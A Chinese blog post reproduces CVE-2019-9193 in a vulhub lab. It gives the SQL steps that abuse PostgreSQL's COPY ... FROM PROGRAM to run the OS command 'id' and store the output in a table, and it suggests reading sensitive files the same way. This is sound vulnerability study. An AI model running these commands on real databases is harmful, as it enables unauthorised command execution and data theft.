当前位置:网站首页>【vulhub】PostGresql高权限命令执行漏洞复现(CVE-2019-9193)
【vulhub】PostGresql高权限命令执行漏洞复现(CVE-2019-9193)
2022-08-08 07:13:00 【errorr0】
PG数据库2019年爆出的这也是一个权限问题的漏洞,2018爆出的那个是利用远程命令执行,让超级用户去执行备份语句即可触发恶意命令。
而19年这个则是因为PG的9.3后Postgres新增了一个COPY TO/FROM PROGRAM命令,这个命令允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令,也就是说即使不是超级用户也有可能实现任意命令执行。
漏洞复现
这里用超级用户(账号:posgres,密码:postgres)复现,普通用户必须得在pg_read_server_files组中,
#删除一张都会要复现的表,这个表名(cmd_exec)不是固定的也可以用其它的名称
DROP TABLE IF EXISTS cmd_exec;
#创建一张表名,列名(cmd_output)不是固定的随便取
CREATE TABLE cmd_exec(cmd_output text);
#用开始提到的COPY执行命令,cmd_exec是保存命令执行后的内容,id是我们可以执行的命令
COPY cmd_exec FROM PROGRAM 'id';
#查看cmd_exec命令执行后保存的内容
SELECT * FROM cmd_exec;
借此我们可以尝试读取一些敏感文件内容
参考:
边栏推荐
猜你喜欢
随机推荐
throw 和 throws 有什么区别
论文解读:《多层肽 - 蛋白质相互作用预测的深度学习框架》
JLink Commander调试方法
throw和throws区别
大文件上传时如何做到 秒传?
用平衡二叉搜索树解决硬木种类问题
基于FTP协议的文件上传与下载
【Android安全】ActivityManager.isUserAMonkey API
Day37------网络
基于FTP协议的文件上传与下载
C# FileSystemWatcher 实时监控文件的增加、修改、重命名和删除实例
List、Set、Map、Queue、Deque、Stack遍历方式小结
goroutine 调度
动手学概率论(2)
Integer类缓存池的理解
基于FTP协议的文件上传与下载
idea big data tools 提交flink任务
生产者消费者模型
优雅地处理重复请求(并发请求)
动手学线性代数